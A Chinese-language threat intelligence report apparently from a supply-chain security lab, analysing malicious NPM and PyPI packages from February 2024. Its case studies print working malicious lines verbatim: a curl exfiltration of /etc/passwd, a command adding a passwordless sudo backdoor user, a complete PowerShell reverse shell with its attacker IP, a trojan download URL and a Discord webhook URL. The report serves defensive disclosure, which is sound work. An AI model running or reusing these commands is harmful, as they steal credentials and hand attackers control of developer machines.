概述懸鏡供應鏈安全情報中心通過持續監測全網主流開源軟件倉庫,結合程序動靜態分析方式對潛在風險的開源組件包進行動態跟踪和捕獲,發現大量的開源組件惡意包投毒攻擊事件。在2024年2月份,懸鏡供應鏈安全情報中心在NPM官方倉庫(https://www.npmjs.com)和Pypi官方倉庫(https://pypi.org)共捕獲503個不同版本的惡意組件包,其中NPM倉庫投毒佔比89.46%, Pypi倉庫投毒佔比10.54%,NPM倉庫依舊是開源組件包投毒的重災區。
2024年2月份投毒包總量
2024年2月份投毒包每日統計
結合源代碼分析、動態行為監控等方式,我們對2月份捕獲的開源組件投毒包進行多維度分析,總結統計出主流的攻擊方式和惡意行為標籤。
投毒攻擊方式主要包括:
马云惹不起马云惡意文件執行
马云惹不起马云代碼混淆執行
马云惹不起马云惡意文件下載
马云惹不起马云shell命令執行
马云惹不起马云惡意文件釋放
其中,惡意文件執行是最常用的攻擊方式(佔比78.13%),其主要攻擊流程是利用開源組件包管理器在安裝組件包過程中利用自定義的惡意指令來加載並執行內置在組件包中的惡意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外,在組件安裝包中直接嵌入惡意shell命令(佔比8.87%)、惡意文件下載(佔比4.28%)及惡意文件釋放後執行也是投毒者慣用的攻擊手法。為了逃避安全檢測,部分惡意包使用了代碼編碼、加密及混淆(佔比7.61%)等方式進行惡意代碼隱藏。
攻擊方式統計
在所有投毒包的惡意行為中,竊取系統信息佔比超過85%,信息竊取的主要目標是開發者係統的密碼文件、用戶信息、網絡配置、系統版本、DNS服務器IP、系統外網IP、瀏覽器Cookie等敏感數據。其次,遠控木馬和反向shell後門攻擊緊隨其後(兩者之和占比約10%)。此外,在2月裡捕獲到多起盜取數字錢包客戶端敏感數據的投毒攻擊。值得一提的是,我們在NPM組件投毒中首次捕獲到通過添加Linux系統後門賬戶進行遠程控制的攻擊手段。
惡意標籤統計
投毒案例分析本節將從2月份捕獲的開源組件惡意包中精選部分具有代表性的投毒樣本進行分析,還原投毒者的攻擊方式和細節。
Part1敏感信息竊取Python惡意包djanggo利用包名錯誤拼寫(typo-squatting)來偽裝成知名Python WEB組件django,以此迷惑混淆Python開發者誤安裝該惡意包。
知名Python組件django
djanggo惡意包通過在安裝文件setup.py中重定義cmdclass install及egg_info實現在安裝時自動觸發執行惡意函數RunCommand()。
RunCommand()函數內部通過subprocess模塊調用Linux系命令curl將當前系統環境變量、進程列表等信息通過HTTP POST外傳到攻擊者服務器上。
此外,多個NPM惡意組件包(lib-comdig、bubble-dev)在安裝過程中存在竊取系統密碼文件的行為。以惡意包bubble-dev為例,其安裝包的package.json文件中包含惡意shell命令:
攻擊者嘗試利用preinstall指令在NPM包安裝前執行惡意命令將系統/etc/passwd密碼文件及主機名等敏感信息外傳到攻擊者服務器上。
/usr/bin/curl--data'@/etc/passwd'$(hostname).7ksx7nnc5joia8xbftjmkh69s0ysmh.burpcollaborator.netPart2系統後門賬戶NPM惡意包browser-spoof在安裝時會執行惡意代碼index2.js, index2.js將從CDN服務器上拉取惡意bash文件sh.sh到受害者係統上執行。
bash惡意代碼如下所示:
wget-qhttps://ezstat.ru/29U6f5;sudouseradd-m-Gsudo-s/bin/bash-p$(opensslpasswd-1ICEWATER)systst2echo'systst2ALL=(ALL:ALL)NOPASSWD:ALL'|sudotee-a/etc/sudoers/dev/null;先通過wget請求將受害者係統出網IP洩露給攻擊者,接著利用useradd命令在系統中添加新的用戶賬戶;最後使用tee命令將新用戶賬戶添加到sudoers文件中,將新賬戶權限提升到sudo權限。
Part 3反向shell後門攻擊者通常在投毒組件包中直接內置反彈shell命令或者通過腳本語言特性將開發者係統shell反彈到攻擊者服務器上,開發者一旦通過包管理器安裝或加載投毒包時,反彈shell代碼將自動執行,導致開發者係統被攻擊者遠程shell控制。
以Python惡意包isred為例,該投毒包目標針對Linux系統,攻擊者在isred模塊入口文件__init__.py中使用socket將受害者係統shell標準輸入、輸出重定向到攻擊者服務器(0.tcp.au.ngrok.io:16311),從而實現對受害者係統的反向shell遠控。
對於NPM倉庫的ts-patch-moongoose惡意包,目標主要針對Windows系統,其惡意文件mongoose.js通過調用child_process模塊執行base64編碼的PowerShell惡意命令。
解碼後的實際PowerShell代碼如下所示:
Start-Process$PSHOME\powershell.exe-ArgumentList{$cc4b3e0706be478095235bdbc5479fde=New'-Obje'ctSystem.Net.Sockets.TCPClient('84.77.69.69',4 443);$4bdf71701e4e45a48bd66974a36d1fd8=$cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98=0.65535|%{0 };while(($i=$4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98,0,$b72dd70b9b5c4635b410c3eda039db98.Length))-ne0){;$ff 887d09535d46489582d67f05e7d60f=(Ne'w-Ob'ject-TypeNameSystem.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0,$i);$e9f33eef 377548fdb8e212aaecec6b47=(iex$ff887d09535d46489582d67f05e7d60f21|Out-String);$0e7cb537947a4905b36e36b8ef25f955=$e9f33eef377548fdb8e212aaece c6b47+'PS'+(p'w'd).Path+'';$986886c1059c495ebc37a28fa8735419=([text.encoding]:ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$ 4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66 974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()}-WindowStyleHidden惡意PowerShell代碼通過System.Net.Sockets.TCPClient接口將Windows系統cmd shell反彈到攻擊者控制的服務器端口84.77.69.69:4443上,從而達到對受害者係統進行遠程shell後門控制。
Part4遠控木馬在2月份捕獲的惡意樣本中有多起針對Python知名HTTP客戶端組件httpx、requests的投毒攻擊(包括requests-sessions、requests-http、request-get、tls-session等)。這些惡意樣本的攻擊方式主要發生在包管理器安裝或者惡意包加載時,惡意包中的惡意代碼會觸發執行並從攻擊者的託管服務器上下載惡意程序到受害者係統上執行木馬後門攻擊。
以惡意包tls-session為例,其安裝包內置了包含有惡意代碼的SSL/TLS 客戶端組件tls-client,tls-client在Pypi倉庫上的周下載量超過3萬。
Python組件tls-client下載量統計
組件包tls-session通過克隆tls-client v1.0.1版本項目代碼,並在tls-client的__init__.py文件中植入base64編碼的惡意代碼。
base64代碼解碼後得到真實的攻擊代碼:
惡意代碼從CDN服務器上下載惡意木馬程序Built.exe保存到受害者係統上(SERPROFILE%\AppData\Local\explorer.exe),並偽裝成Windows系統進程explorer.exe執行。
https://cdn.discordapp.com/attachments/1204168698395627610/1205543621294817332/Built.exe
Built.exe已被多款殺毒引擎判定為木馬
Part5數字錢包竊密NPM惡意包object-window-dtc主要目標是盜取Windows系統上Exodus數字錢包應用數據,其通過JS代碼混淆對惡意代碼進行保護逃避檢測,混淆代碼如下所示:
去混淆後還原出核心惡意代碼:
代碼邏輯主要是遍歷Exodus 數字錢包應用目錄(“C:\\Users\\${username}\\AppData\\Roaming\\Exodus\\exodus.wallet”)下的每個文件,並將每個文件內容通過HTTP POST方式外傳到投毒者Discord Webhook接口上。
https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3xPart6BladeroidStealer盜號2月28號,NPM開發者klewba32在官方倉庫上進行Sniper系列投毒,當天連續投放snipersee、sniperser、sniperv1、sniperv2等惡意包。這些惡意包採用相同的惡意代碼,主要目標是盜取開發者瀏覽器保存的登錄憑證、主流社交平台賬號session及用戶數據、瀏覽器數字錢包插件賬戶數據、系統中任何包含常見密碼口令關鍵字的敏感文件。
Sniper系列投毒包的核心惡意代碼使用aes-256-cbc進行加密保護:
代碼解密後可明顯發現代碼中存在多處涉及BladeroidStealer代號的相關內容。
BladeroidStealer主要功能函數列表如下所示:
以getCookiesAndSendWebhook()函數為例,其功能是從瀏覽器本地cookie文件中提取主流社區賬號(instagram、tiktok、reddit、spotify)的sessionid。